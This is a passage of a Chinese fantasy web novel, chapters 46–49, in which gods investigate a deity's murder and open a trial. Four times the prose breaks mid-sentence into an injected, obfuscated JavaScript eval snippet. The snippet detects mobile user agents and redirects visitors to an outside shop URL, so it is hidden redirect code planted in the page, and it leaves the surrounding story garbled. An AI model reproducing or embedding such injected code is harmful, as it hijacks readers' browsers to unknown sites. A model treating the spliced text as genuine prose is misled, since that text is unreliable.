第一万神时代的结束是一场惊雷天罚,毁灭未能进入七天神座所有神明。若想逃过这毁天灭地的惩罚,只能毁掉自己神明的身份,寄生在执政神祇的身下。如此屈辱,让绝大部分神祇都甘愿赴死。 多少万年的沉寂,第二万神时代终于迎来,一批又一批的神明降世,这让当年那些屈居神下的旧神更为难堪。 几万年都磨不灭帝俊的傲气,祂宁愿把自己困在天衍宫和巫祝作伴也不愿再出去见人。 “帝俊还是没来?”阿加雷斯问。 “没有,殿下。”望舒站在船上,向水神伸出手,一把把祂小舟。 “祂倒是把自己摘的干干净净,好像第六神战和祂一点关系都没有。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12971546|135335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祂冷笑。 · 回了帝京,使节整整齐齐跪地迎接。 “恭迎羲和大人,望舒大人,阿加雷斯殿下。” 看着站在自己前面的两人,祂突然就有了被架空的危机感。 望舒心思细腻,极得民心,又和祂政见相反。若是让祂再一直得势下去,只怕秦垭将要易主。 心中想着,祂为望舒谋了一个实打实的好差事,在晨会时当着众人的面宣布了伟大的决断——册封明仪月使嫦兮望舒仙君为审判庭裁判长。 真是个美差,可以接触他最爱的人类,远离帝京的政坛,永无翻身之地。 在祂意料之中,望舒没有半点不悦,提着行李立即赴任,这一干就是四千二百年。 对于羲和,祂倒是放心多了。这是祂无比忠诚的附庸,是向来听祂号令的代言人。召之即来,挥之即去,毫无怨言。 · “你确定就是望舒了?怀疑的种子一旦种下,那所有的行动都将成为无用的辩解。”欧米伽看着吉尔伽美什讲述过去的故事。 吉尔伽美什点头,收起了凝光剑。 突然,剑气一闪而过,祂躲闪不及,被削断了一缕发丝。 “什么人!”欧米伽也做出来防御准备,高声喝道。 一个俏丽的身影从剑阁深处缓步而出,额头中间的那颗眼球滴溜溜地转着。 “哈,羲和,你也来阻止我们?”吉尔伽美什抽出凝光剑,悄无声息地绕到祂背后,抵住祂的脖子。 羲和被这样威胁却还是格外冷静,祂轻笑一声,道:“我只是来和诸位谈判的。” “谈判?想要杀了我的谈判?”祂颈间的剑又紧了一分,划出细细的伤口,浅浅渗着血。 “我只是来贴心劝告,别再查下去了。” “你担心你的好弟弟做出的丑事败露?”吉尔伽美什问。 羲和笑得爽朗:“旧神刺杀神明,如此大的丑闻不利于国内民众团结啊,殿下。” “殿下不是我秦垭人,是不明白我的苦心的。毕竟婆罗斯只有古神民和归墟的氐人,各自安好,之间交集并不多。” “望舒做出这种事之前就该考虑好后果,而我只是要帮我的眷属脱罪。” 羲和愣了一下,随即笑出声来,偏过头去看那虎视眈眈的光神。 “牺牲一个无用的眷属罢了,殿下,孰轻孰重,您心里明白。” “我是明白,可你不明白。” 羲和表情突然变得凶狠,空手直接握住颈间的凝光剑,“把凝光剑给我。” “绝无可能。”吉尔伽美什笑出声来。 “那就来战!” 剑尖微颤,仿佛夜空的寒星闪烁着凛冽的光芒。没有华丽的招式,没有冗长的对话,只有剑与剑的碰撞。羲和几次伸手去抢凝光剑,双手鲜血淋漓也不肯放弃。 吉尔伽美什是个见不得血的神明,祂闭上眼,努力消除鲜血对祂的刺激,努力消除杀戮的欲望。 火花在空中飞溅,剑光在空中交织,剑鸣声不断,剑光划过半空,勾勒出壮丽的画卷。 “够了,”一声低沉的声音响彻云霄,“还嫌不够丢人吗?” 银饰碰撞,纱制的衣料摩擦出声音,来人宛如夜间的精灵,诡秘中透露出一□□惑。 二人放下武器看去,发现是一个熟悉到不能再熟悉的老朋友,而吉尔伽美什刚刚还见过祂。 46. Chapter46 启示录 羲和见了祂来,就放下了手中的剑,冷哼一声离开了。 吉尔伽美什完全没想到居然是这样的发展,蛮好奇地问:“我怎么记得你们之间关系还不错来着?” 望舒道:“那都是之前,祂要是没牵扯进那事之中也不会这样。” · “你到底知不知道你在做什么?!”羲和难得第一次掀了桌子,真是少见的意见不统一。 阿加雷斯就那样笑着,仿佛陷入了长久的癫狂,“我知道,我怎么不知道,不就是逆天而行吗。” “你,你就是疯了!”羲和向来粉雕玉琢的脸如今毫无血色,额间那第三只眼也慌乱地转来转去。 祂一武者,口才不精,就从不和阿加雷斯辩论,只是挥袖离开了。 夜色深邃如墨,粘稠又深沉。月牙如钩,凄惨地挂在天上,微弱的月光在大地上洒出一片雾霭,昏昏暗暗,如同披上了薄薄的银纱。 这样的夜晚分外宁静,空气都仿佛凝固。风却带来了远方的火,期期艾艾地照亮了明天。 阴影中,一个披着黑袍的身影独自上了船,向彼岸驶去。一路上听尽树木在风中的低语,那声音在海面上回荡,如同一首古老的哀歌。 那人和非男非女的神祇对话,毫无保留地全盘托出祂的筹码。 “你想以身入局,换你亲爱的主上离开这个危险的计划?” “是。”那人深深下摆,头埋进衣袖之中,鼻尖微动,嗅着月色缠绵的气息。 “就算是祂吸你的血,把你身上的价值榨得一干二净,事后又弃之如敝履?” “……你,什么意思?” 神祇轻声笑着,指尖攀附上祂白嫩的脸蛋,“原来你到现在都还蒙在鼓里。” “你最好把话给我说清楚!” “你亲爱的水神,祂可是创世三神之一。你说,第一权能,祂会没有吗?” 来客的脸惨白一片,一个巨大的骗局似乎在祂的眼前缓缓揭开。 “你给我点时间考虑。”祂说。 神明笑了,如出一辙的肆意张扬,“时间?你没有时间了。” 那黑衣的身影又深深下拜,许久没有回音。 天快亮了,晨露寒凉,惹得祂袍子上都沾了露珠。 “回去吧,你自己仔细思量着。”神明说。 · 吉尔伽美什毫不在意欧米伽的目光,大喇喇地坐在望舒身旁。 “你恨他吗?”祂问。 望舒低下头深思片刻,方才露出一抹微笑,“说这些有什么用呢?该发生的都已经发生了,您还是问问生命之树,看看既定的结局有没有到来吧。” “又何必问呢,做过的、没做过的,大家不都是心知肚明吗?” “哈,”望舒轻笑出声,不知是从哪里学来的十足轻蔑,“您居然也学会打暗语了。” “我只是失去了力量,不是失去了脑子。” “但愿如此吧。”望舒起身轻拂一袭黑袍,银色的长发在空中飘出优雅的弧度。 吉尔伽美什目送着望舒离开剑阁,就也起身和欧米伽一起离开。刚转角就遇见一个熟悉的身影。 “羲和?你还没走,等在这里偷袭我吗?”吉尔伽美什笑道。 羲和摇摇头,神情变得温和了些,“打不过您……您心中有定论了吗?” “可能吧,”吉尔伽美什正了正自己胸前的黄金项圈,“没有证据,你要帮我吗?” 羲和笑得温和,多年文职早磨灭了祂身上那股闯劲,“做了这么久使节,又怎么会拒绝。乐意至极。” “那就去看看案发现场吧。”吉尔伽美什道。 · 现场一片狼藉,到处都是水迹,看上去像是打斗许久留下的痕迹。吉尔伽美什想不明白,为什么堂堂水神居然会被伤成这个样子。 祂展开视野,夹杂在水元素中的另一种力量显现开来。 “你也看到了吧。”吉尔伽美什说。 羲和感受到了熟悉的气息,脸色霎时间变得惨白,祂问:“我能说吗?” “望舒,果然是祂。”吉尔伽美什点点头。 一阵微风拂过,带来了不同寻常的气息。 羲和道:“我从磨兰书里学来一句话:‘凶手通常都会回到案发现场欣赏自己留下的痕迹’。” 望舒那黑袍的身影又一次从拐角处显现,“姐姐,我之前怎么不知道你这么会夹枪带棒地骂人。” “文职干久了,没办法的事。” · “我亲爱的水神殿下,您也不希望秦垭国民都知道这件事吧。” 阿加雷斯一如既往地站在观星台望天,可谁知望舒那诡丽身影又一次翩然而至。 “吾早就该知道,和你们这些玩夜晚的疯子沾边准没好下场。”祂自嘲地笑着。 望舒拿起一旁的望远镜,假模假样地看了几下天空,道:“我帮你瞒下来,糊弄那群愚民……” “这对你有什么好处,上赶着来威胁吾。” “我所求不多……” 听祂说完,阿加雷斯那美丽的眉毛皱出一个好看的弧度。 “你真是放肆了。” “怎么会,这可是合理的要求,况且……我也该开出这个价码,不是吗?”望舒披头散发,赤着脚踩在白玉的地面上,简直就是个美貌的疯子。 阿加雷斯勉强扯出一个微笑,道:“和你们这些疯子沾边真是没有好下场,早知道有今天,吾当时就该赐死你,而不是把你发配到扬州当大官。” “有因才有果嘛。”望舒笑着,扭着腰走了。 角落里悄悄闪过一片明黄的衣角。 · “嗯,这事我听阿加雷斯说过,你们到底看到了什么成了利益纠葛。”吉尔伽美什贴近望舒耳畔,轻声说着。 望舒又笑了,“现在水神不在,和你说了也无妨。” 祂弯下腰,手指拨开光神的发辫,冰冷的指尖停留在祂颈侧。 吉尔伽美什瞳孔骤缩,用力推开望舒。 “早知道是这样的事,我就不该听才对,现在杀你灭口还来得及。”祂说。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13064517|135335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “别啊,杀了我可怎么成呢,您什么都懂,这是知法犯法。更何况是杀了公方……来吧,坐实您好友的弑神罪行吧。” 望舒格外张狂,甚至往前迈了几步,摊开双手示意吉尔伽美什对祂动武。 “别恶心我了,你来这里究竟是要干什么。”祂说。 “作为公方,来找些证据不是很合理吗,”望舒活动活动手腕,开始四处翻找证据,“虽然我知道嫌疑人确实没有作案的可能,但还是要装一下样子不是吗?” “今天咱们已经不欢而散很多次了,我想不要见面的话还是能很好收场的,对吧?”吉尔伽美什笑得阴冷。 望舒轻笑出声,道:“您看起来已经下了定论了,不过我还是想劝告一句——凡事不要太表面。” “那你还是好好解释一下吧,”吉尔伽美什又一次展开了视野,“究竟什么人可以伪装成你的样子在现场留下这样的元素痕迹?” 望舒像看傻子一样看了祂一会,什么都没说,转身走了。临走之前还深深地看了羲和一眼。 吉尔伽美什道:“胆子真是太大了,祂真的全然不在意我对祂的指控吗?” 欧米伽却意识到了什么,靠近祂低声道:“等下,我总觉得有什么不对的地方。” 这是羲和很恰当地插入了对话:“这就是你的不对了,证据确凿还能有什么不对的地方?别拿你旧神的认知揣度神明。” 欧米伽气得两眼发红,但又找不到很合适的语言怼祂,撇撇嘴躲回识海去了。 吉尔伽美什取了个小瓶仔仔细细将一部分第一月神的元素收集起来,又保存了现场的证据,随后拍拍屁股准备走人。 祂扭头问羲和:“你不走吗?” 羲和浅浅笑笑,道:“我再帮你看看有没有什么没注意到的地方吧,有了线索第一时间拿给你……我顺便再去找一下望舒,有的事情……你懂的。” 吉尔伽美什也没有阻拦,由着祂去了。 欧米伽看着外头迎着太阳倾盆而下的暴雨,问道:“你一点都不担心祂,祂难道不会包庇望舒或者自己把新证据都毁灭或藏起来?” “现在的证据足够指控望舒的罪行了不是吗?凝光剑上的元素痕迹,现场充斥着第一月神力量的打斗痕迹,再加上一点叛国的嫌疑,足够了。” “你这难道不算是一种先射箭后画靶子吗?”欧米伽问。 “怎么会,证据已经足够了,更何况推翻克拉斯托尔是凶手的理由已经有了,我又何必追求真正的真实?其他所有的事情都扔给他们秦垭人处理难道不是更好吗?我为什么要去关心那些虚无缥缈的事情?”吉尔伽美什也妄想天空,一脸的无所谓。 欧米伽彻底乐了,道:“你这个傲慢的本质还真是从来没有变过。” 太阳雨还在下着,是天空和大地的回响,光明与黑暗的交织。无尽无休的雨像极了水神的诅咒,诅咒这些背叛祂的旧神,诅咒那些算计祂的神明,诅咒有些旁观客。 “雨什么时候停?身上黏黏糊糊的。”吉尔伽美什拧了拧被打湿的衣摆。 47. Chapter47 虚无缥缈的空间,是水神阿加雷斯的识海。 识海中没有树木,没有山泉,没有海面,是鲜少的空无一物。没有白,也没有黑,没有秩序——既无开始,也无终局。 “你居然把我拉到自己的识海里来了。”望舒看着周边混乱无序的一切,轻轻发出赞叹。 谁能想到呢,向来追求秩序和等级的神祇阿加雷斯的内核,偏偏是众多神明中最混乱最无序的一个。望舒有些头疼,祂不明白自己被拉进来的原因,也担忧自己在这里待的太久彻底迷失。 “吾明晓你的担忧,特召你来此,解你心头之惑。”阿加雷斯的身躯看上去似乎是半透明的,影影绰绰中可窥凤鸟形状。 “殿下,告诉我,神统第七纪的终局是什么。” “你诚心发问,必得真实解答——人类成为主宰,神明走向陨落。” “殿下,告诉我世界的真相。” 阿加雷斯本就半透明的身躯变得更透明了,似乎是展现出了一点不可见不可感神明的威严。 祂长叹一口气,原地坐下,陷入了长久的沉寂。 望舒刚想开口说些什么,就感受到一股强劲的吸力,把祂送到了一个未知的世界。 “感受吧,”阿加雷斯的声音从远方传来,缥缈虚无中空灵回荡,让杂乱的思维重获新生,“这就是世界的真相。” 那是一棵巨树,看上去和生命之树别无二致,可仔细看去,那每一片树叶都是一个世界,叶片随时凋零随时新生,整棵树都在以一种极为规律的方式轮回着。 望舒仔细看去,终于在树的最顶端找到了终焉之地,正在祂准备仔细观测时,代表着终焉的叶片消失了,祂再一次仔细寻找,终于在树的最底端发现了那叶子的痕迹。 “终焉之地——始源之地,这是世界的伊始,也是世界的终局。所有的世界从此诞生,所有的世界因此消亡。” “七日是世界的周期,一切从时间中轮回,延续着交替的使命。” 正当望舒感叹于世界的瑰丽时,祂蓦地感受到了一股熟悉的气息。 向四周望去,树旁空无一物,却隐隐有着故人的感觉。 “众神之神,世界的守护者,世界树最终的主人,万万最终神的巅峰,吉尔伽美什——祂正受困于终焉之地的锁链,只有湮灭的数千载轮回后才能摆脱无用身躯的束缚,彻底成为不可见不可感最终神之首。” “祂毁天灭地之能还未展现,傲慢的幼童终将踢翻秧苗。” 玄乎其玄的话,却让望舒听得明明白白,祂明白自己没有做出反应的权利,受困于终焉的万万神明最后都成为蝼蚁。 “殿下,这是终局?” “无法阻挡——”阿加雷斯的声音像极了天边传来。 望舒咬紧牙关,最后问道:“那为什么有轮回迭代?” “神祇创造人类,人类的欲望造就神祇,欲望的淤泥毁灭神祇。轮回迭代自视为一种净化,万万最终神的共同选择。” 祂长叹,自知没有反抗的能力。 再回到阿加雷斯的识海,只见祂手上捧着本书。 “这是什么书?” “《神恩大颂歌》。” 阿加雷斯翻过一页,空灵的声音在识海中响起,环绕,给识海中的一切混乱和无序烙上印记。 “神说,要有世界,巨树在空洞的虚无宇宙中升起,一切叶片成为新生的秩序。诞生与毁灭出现了章法,神不再哭泣。” “神说,要有光明,始源与终焉在树上诞生,二者自为一体。” “神说,要有生命,让巨树奏响歌颂神恩的乐章,让杂乱的声音成为一种秩序。” “神说,要有毁灭,让一切所来的有所去处,让一切所去的可以重新归来,让一切成为自我迭代的整体,神展现笑靥。” “神说,要有与其相仿的一切,不消耗能源的算力,让宇宙实现平衡,让巨树开始成为其诞生与死亡地。” “神说,要选出各叶子的万万最终神,巨树的毁灭也无法波及,文明的力量得以延续。” “神说,神不在乎,不可见不可感地在空洞中散去,无所影迹。” “够了,”望舒打断道,“有些头疼了,这不是我一个旧神该知道的事情。最终神与世界树的真正消亡和我没有半点关系。” “神说,要带来智慧,要有质疑的能力,在平衡的坍缩中找到熵增开始的分界。” “够了!我说够了!!”望舒不客气地打断祂的话语,平时稀松平常的《神恩大颂歌》此时像一把刀一样,在祂的灵魂中刻画,每一刀都见骨,每一刀都作数。祂头疼欲裂,却无法阻止这些话语的袭来。 “神说,我将离去,世界欢欣奏响颂歌,世界也将离去。” “神说,我选出六位候选,其无处不在,承担神明的意志;其布满天穹与地面,带来恐惧。” “……” 不知道过去了多久,不知道望舒究竟听了多少《神恩大颂歌》,不知最终的神明是否已经在梦中翩翩起舞,不知世界什么时候诞生又什么时候毁灭。 一种力量,古老而又永恒,神秘而又浩瀚,超越了所有的界限,超脱了所有的定义,是不可名状,是难以理解。 没有形状,没有颜色,没有声音,没有味道,没有触感,超越了所有的感官,超脱了所有的界限。 如同风,无形无相;如同水,无色无味;如同火,无迹可寻。 是深渊之底的微光,是高山之巅的清风,是沙漠之中的甘泉,是寒冬之中的暖阳,是寂静之中的低语,是喧嚣之中的宁静,是绝望之中的希望,是黑暗之中的光明。 那最初的光芒,穿透了无尽的黑暗,却又隐藏在了光明的背后;那最后的雷鸣,震动了无边的寂静,却又沉寂在了永恒的深处。 · 望舒看着人畜无害的吉尔伽美什,一时之间竟不知道该说些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13081705|135335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么。 “阿加雷斯知道的那些事情,你都知道吗?”祂旁敲侧击地问。 “可能是知道的,但你也知道,上一次神战我受伤严重,权能都丢的差不多了,知不知道都没什么区别了不是吗?” “那……你期待世界终局的到来吗?” “谈不上什么期待不期待,必然发生的事情谁也阻拦不了,该来的总会来,万事万物都有终局的一天。” “你……”望舒艰难张口,祂头一次感觉自己的嗓子如此的干涩,“你一副无所谓的样子。” “主不在乎,因为不在乎,所以才能放任结局的到来而不会心软去毁掉既定的末尾。” 望舒长叹一口气,看着吉尔伽美什那浅金的眸子,从嗓子中干涩地挤出声音:“学会当一个神明还真是不容易啊……审判庭上的事……抱歉,我只是按照法律办事。” “每个人做事都有独到的风格,爱人又热爱秩序的你自然会做出那样的选择,这没什么值得道歉的……这一路上会碰上很多选择,放心选吧,因为无论选择什么都会抵达既定的结局。” “您什么都知道吗?” “你说呢?”吉尔伽美什望着天,轻声笑着,“我什么都知道,什么都不知道,没什么区别。当然这也没什么意义,询问这样的问题就和蚂蚁询问人类为什么对方是有智慧的生物而自己不是一样。” “您说话还真是有趣。” “我们这就走了,下次见面就是庭审——希望你对自己做出的一切选择都不后悔。” 吉尔伽美什的身影渐渐淡出了视野,望舒的脸上还是挂着清浅的笑意,“落子无悔。” 祂转过身去,喃喃自语道:“看来你说的果然不错,原来真的是这样。” 太阳雨停下了,颇有一种守得云开见月明的感觉。吉尔伽美什算了算时间,距离庭审还有几天休息时间,祂还有机会去扬州最出名的酒楼吃上一顿。 “没想到啊,你竟然这么热爱美食。”欧米伽看着吉尔伽美什风卷残云,心中还有些疑惑:照理来说神明不会感到饥饿,自然没有进食的欲望,吃饭对于大多数神明而言更像是一种庄严的仪式,可吉尔伽美什却真的像是在享受每一道菜。 “我其实也吃不出味道的,和所有神明都一样,”祂说,“但我也不知道为什么,自己总是下意识去吃点什么,像是肌肉记忆了。” 神明丢失了太多记忆,有的时候就连一些习惯形成的原因都没办法回忆起来了。也不知道是幸运还是不幸。 点点星子闪烁在天空中,月亮悄然爬上天穹,赶走了最后一片白日留下的火烧云。有的秘密永远藏在心底,永生永世不会再被提起。但皎洁的月光永远洒在大地上,窥见着世间的每一点秘辛,就像永远能听见秘密的风和大地一样,祂们永远缄默着,是最好的秘密守护者。 吉尔伽美什再躺下已经是深夜了,没了和阿加雷斯拌嘴的日子意料之外的空虚。 48. Chapter48 祂闭上眼睛,正准备沉入梦乡,却不知道被传送到了谁的记忆中。 这场景熟悉又陌生,像是秦垭却又不是,相似的房屋建筑却更显逼仄,氛围压抑黑暗,住宅群落周围的树木发了狂一样生长着,几乎要吞噬天穹。 “这是……扶桑吗?”祂似乎是有了一些印象,虽然祂对过去的记忆一无所知,但是这种隐隐的熟悉感还是不断地在提醒着祂复苏的事情。 祂低下头看自己的手,这是女孩子的一双手,柔若无骨,细嫩非常。祂抬起手,身上穿的是层层叠叠的五衣唐衣裳,丝绸锦缎上密密地绣着花纹,奢侈又华丽。 自己可能进入了一个贵族女孩子的身体里面,吉尔伽美什想。 祂又扭头观察起房间的摆设起来:自己正坐在一块榻榻米上,周围围了四块屏风,屏风外影影绰绰能看到帷帘——这真是个密不透风的屋子,像是娃娃居住的玩偶屋。吉尔伽美什轻笑,扶桑人就是喜欢在奇奇怪怪的地方做无用功,把贵族女性包装成一个精致俏丽的人偶以满足自己无与伦比的控制欲。 吉尔伽美什坐了半天,身子都酸了,就想起身走一走。刚抬起身子来,就发现这层层叠叠的唐衣裳分外沉重,祂不仅挪不动半步,还被压得喘不过气来。 外面的廊桥传来了窸窸窣窣的衣料滑动声音,似乎是有人来了。 吉尔伽美什只能通过屏风间的缝隙观察者来者的动向,似乎是一个穿着黑衣的女子,扭着步子缓缓靠近。 莫名的压迫感涌上心头,这并不是吉尔伽美什的真实意愿,而是自己借用的这具躯体生理性的恐惧。这样诡异的感觉吉尔伽美什是头一次感受到,祂只觉得这很奇特,是前所未有的体验,与此同时祂对来者的好奇就更甚。 “证据确凿。”来人说。 说话者的声音格外奇特,听上去像是一男一女同时在说话。 听了这一句吉尔伽美什就反应过来了,这个穿着女装的正是格剌西亚拉波斯。 吉尔伽美什想开口说些什么,却发现自己连嘴都张不开,想必是被这具身体控制住了。 “早川蕊絮珠,你不用再试图解释什么或者遮掩什么了。”格剌西亚拉波斯没有绕进屏风里来,只是掀开了帷帘探了个头进来,声音那样的冷淡,仿佛是在宣读什么死亡证明。 吉尔伽美什感觉自己借住的身体在不停地震颤,像是在畏惧神明的威严。可祂仔细感受,这具名为早川蕊絮珠的身体似乎也是一个神祇。 不至于啊,祂想。 “仰仗你的家族所做的一切我都已明晰,人类的手段也不过如此。”格剌西亚拉波斯漫不经心地说着,吉尔伽美什却清楚地感觉到自己的后背上冒出了许多汗珠,浸透了身上厚重华丽的衣裳。 帷帘被放下,那窸窸窣窣的衣料滑动声音又一次响起,似乎是暗神离开了。 那黑衣的身影走到拐角处就停下了一瞬,抛给祂一句:“我暂时纵容你们,不要让我失望。” 吉尔伽美什眼见着这具身体恭敬下拜,明明眼前一个人都没有,却如此虔诚,像极了一个牺牲。 · 祂也不知道什么时候自己的意识回到了自己的身体上,祂从榻上起身,莫名觉得自己的身体分外轻巧,似乎没了那厚重衣裳的压制自己就要成为梁上燕了。 吉尔伽美什叫醒了欧米伽,后者睡得昏昏沉沉,抱着怀里的琉璃球不撒手。 “证据都找完了,你要去哪里啊?不再休息休息吗?这一路上发生了这么多事,我简直觉得要睡上几天缓缓。”欧米伽揉着眼睛,不情不愿地起身。 吉尔伽美什踮起脚,把那蓝宝石吊坠摘下来,道:“你不能离开我太远,去识海里好好睡吧,我要去找克拉斯托尔问些事情。” 关押着弑神的嫌疑人的地方简直能被称之为一重地狱:幽暗狭小的环境,四处传来一阵阵难以形容的恶臭,蛆虫、老鼠、蟑螂满地乱爬,不断滴着水黏黏腻腻的墙壁……祂终于在幽暗的角落里发现了可怜的氐人。 “你还好吗?你怎么样?” 吉尔伽美什打开大门直接走了进去,发现克拉斯托尔不但身上有着青一块紫一块很多伤,还发起了高烧。 可怜的小人鱼头发毛躁,肌肤干枯,浑身颤抖,说不出一句话来。 “怎么回事?!”吉尔伽美什捞起他,怒目而视四周的守卫,“你们就是这么对待他的?!” 神明的怒火在终焉被称作最恐怖的死亡方式,守卫们畏惧祂的威严纷纷下跪,连声道:“规矩如此,规矩如此……” 吉尔伽美什冷笑一声,道:“别以为我不知道你们使节打的什么心思,秦垭的牢房该是什么样子的我了解的一清二楚。至于动刑……逼供,这种手段,和你们光风霁月的使节形象可不搭调。” 守卫们也不敢说什么,虽然是上面的要求,可是得罪了上司只是不好升迁,得罪了神明却可以原地升天。他们给克拉斯托尔换回了本该拥有的待遇,又准备请个医生给祂看看身子。 “不用了,”祂一挥手,克拉斯托尔身上的外伤内伤以及一身病痛瞬间消失,人也在几刻钟后缓缓睁眼,“我要问他的就在这里问了,你们仔细听着,不会违反秦垭律法。” 几个守卫只能点头称是,默默退到一边掏出纸笔开始记录。 “殿下……”克拉斯托尔像受惊了的小鹿,蜷缩在墙角瑟瑟发抖。 “都过去了,你把来龙去脉一五一十说给我听就好,我信你的。”吉尔伽美什伸出小手摸摸他的长发,柔声安慰着。 “我不记得了……我记不得了……”他颠三倒四地说着,吉尔伽美什更加确信这是有人故意施法模糊了他的记忆,叫他有口难辩,成为弑神路上的一只替罪羊。 不过这个克拉斯托尔可是光神的眷属,惹到他算是踢到铁板了。 吉尔伽美什轻声道:“这些记忆你只需要保留到明天,洗清你的罪名后我就把这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13128339|135335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全部抹除,好不好?” “好……”他的眼睛红通通的,泪珠还在不停落下。 “说说吧,无论还记得什么都可以说出来,不要怕。” “我……我记得我和水神殿下走在街上,突然碰到了一个人,好像是审判长……我们三个一路走回邑所……不知道因为什么,祂们突然就开始争吵……头好痛……我就听到了特别尖厉的一声……我晕过去了,我再醒来、再醒来就已经被秦垭的使节控制住了……我真的没有弑神……真的没有……我连蝶泪怎么用都不太会……不是我,不是我……” “指向性太强了,你确定当时只有你们三个在一起?”祂又再确认了一遍。 “三个……四个……三个……我记不清了殿下……黑银色的光芒……我真的什么都想不起来了……” 吉尔伽美什拍拍他的背,道:“这些就够了,你好好休息,等着明天审判吧。” “殿下你要相信我,我没有弑神……” “我相信你,你无罪。” · 回了客栈,吉尔伽美什开始和睡醒了的欧米伽复盘。 “克拉斯托尔的口供,我想大概可以整理出一条时间线了,”吉尔伽美什在光幕上作画,“阿加雷斯和克拉斯托尔在半路上遇到了望舒,随后三人在邑所内,望舒和阿加雷斯闹了什么什么矛盾——当然我猜是阿加雷斯不希望望舒知道的一些事,二位发生了矛盾,望舒用凝光剑弑神,嫁祸给克拉斯托尔。” “这也太简单了,小孩子都能想得出来。” “确实很简单,没有任何技术性可言。” “但我有一件事很奇怪啊,克拉斯托尔有在质疑房间里只有他们三个这件事,四个人……他为什么会有房间里有四个人的错觉……” “三千化身。望舒有三千化身,弑神需要的能量需要祂放出化身助战,事成收回化身……像不像三个人变成四个再变回去?” “这么说就通了,但还是太简单了。” “不简单了,这都是暗神计划的一环罢了。” “你这么确定?” “我昨夜被拽到了一个名为早川蕊絮珠的神祇的回忆之中,暗神确实在很用心地布一盘大棋,现在,克拉斯托尔,你,我,甚至阿加雷斯,都在祂的棋盘之上了。” “就连秦垭这样有权有势的人物都和暗神有牵连?太可怕了,真的。” “我都能理解,神明喜欢玩阳谋,不过我没太懂祂到底是想要什么,你说是一统终焉吧……这么多年祂能动手早动手了,不会拖到现在还只是潜移默化中扩大自己的势力。” 吉尔伽美什关了光幕,端起茶杯猛地灌了一口水,有些颓然地瘫坐在椅子上,“真难受啊,头一次只用脑子想事情。” “你以前想事情都不过脑子的?” “不是啊,我之前是全知的,根本不用想事情就什么都知道,现在这种动脑的感觉真是让人欲罢不能啊。” 49. 等待进入网审 审判庭金碧辉煌,每一根柱子都用金粉细细勾勒,随处雕刻的獬豸都用朱砂笔点上了双眼。 屋内三千人坐了个水泄不通,好奇、愤怒、疑惑促使着秦垭的民众聚集到这里来观赏这一场盛大的审判。 克拉斯托尔无助地坐在审判庭的正中央,里三层外三层的人潮几乎把他压垮。惨白的脸色,嫣红的唇,美丽的人在落魄时更显风情。 显然,秦垭很多人也都是这么想的。 “真好看啊,拿来暖床好像不错。” “你说得对,话说你不是有钱没地方花吗?出钱保释他带家里去呗。” “害,你傻啊,”一个粗糙的油腻的大手摸上了克拉斯托尔的脸,顺着脊背一路向下,他想躲却躲不掉,只能任凭他人蹂躏,“这家伙犯下的可是弑神的罪孽,我要赎他得花大价钱呢。” “你小子还差这点钱啦?” “害。” 冰冷的审判庭,又黏又腻的燥热触摸。克拉斯托尔虽在人群却冷若冰窟。 钟声响起,人们肃静,等候着使节们的到来。 望舒难得没有走在最前面——有神明在,就算是审判长也不敢僭越。吉尔伽美什谁都没看,表情阴沉,径直走到了克拉斯托尔身边落座,看起来并没有过于不悦。 这是所有高官才松了一口气,就座如次。又是漫长的整理文件时间,会场内除了纸页翻动的声音外再无半点杂音。 文书假模假式地整理好了要用的全部材料,眼神致意望舒,而祂也微微点头,抬起握着雷锤的手,高高扬起又重重落下,朗声宣布道:“秦垭最高审判庭,第18239号案件——异邦人弑神案,正式开庭!!” 又是一阵漫长的书页翻动时间,没有任何的言语,吉尔伽美什就坐在位置上,目光沉静地安慰着这可怜的倒霉蛋,并源源不断将温和的光元素力输送给他进行安抚。 望舒看时机差不多,便再次宣布道:“下面,请公方代表宣读案件详情。” 